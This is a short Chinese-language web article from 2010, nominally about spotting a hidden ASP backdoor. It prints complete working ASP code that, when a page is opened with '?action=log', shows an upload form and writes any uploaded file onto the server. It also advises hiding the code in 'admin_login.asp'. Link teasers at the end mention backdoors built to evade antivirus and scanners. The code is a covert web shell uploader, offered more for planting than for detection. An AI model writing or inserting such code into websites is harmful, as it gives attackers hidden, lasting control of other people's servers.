隱蔽的ASP后門 大家可以查看下
更新時(shí)間：2010年08月04日 13:07:03 作者：
這段代碼可以隱藏在asp文件中，大家可以搜索一些特點(diǎn)的關(guān)鍵字，查看文件的修改日期，看看是不是有如下的代碼。
復(fù)制代碼 代碼如下:
<%if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Open:c.Position=f+1:c.Copyto h,g-f-3:h.Position=0:h.type=2:h.CharSet="BIG5":i=h.Readtext:h.close:j=mid(i,InstrRev(i,"\")+1,g):k=Instrb(d,e&e)+4:l=Instrb(k+1,d,leftB(d,f-1))-k-2:h.Type=1:h.Open:c.Position=k-1:c.CopyTo h,l:h.SaveToFile server.mappath(j),2%><form enctype=multipart/form-data method=post><input type=file name=n><input type=submit></form>
<%end if%>
比如編輯在“admin_login.asp”下
以后只需要輸入“admin_login.asp?action=log”即可
相關(guān)文章
有時(shí)候通過程序上傳木馬，一般都是偽裝成圖片，下面是asp下檢測圖片木馬的代碼，需要的朋友可以參考下2015-09-09
全面認(rèn)識(shí)ASP注入技巧...2006-10-10
這個(gè)代碼，一般不會(huì) 被病毒查殺，而且文件比較小，不容易被懷疑，可以放到別的asp文件中，起到隱藏的目的2008-12-12
判斷上傳文件中是否存在危險(xiǎn)代碼2009-11-11
本文主要介紹了修改三個(gè)組件來達(dá)到防范asp木馬攻擊，需要的朋友可以參考下2015-09-09
一個(gè)查ASP木馬的小東東2006-07-07
兩個(gè)非常規(guī)ASP木馬 為了躲避 lake2 ASP站長管理助手而寫2009-07-07
XSS測試語句大全...2006-07-07
asp后門 另類的ASP后門2008-02-02
asp javascript在線管理...2006-09-09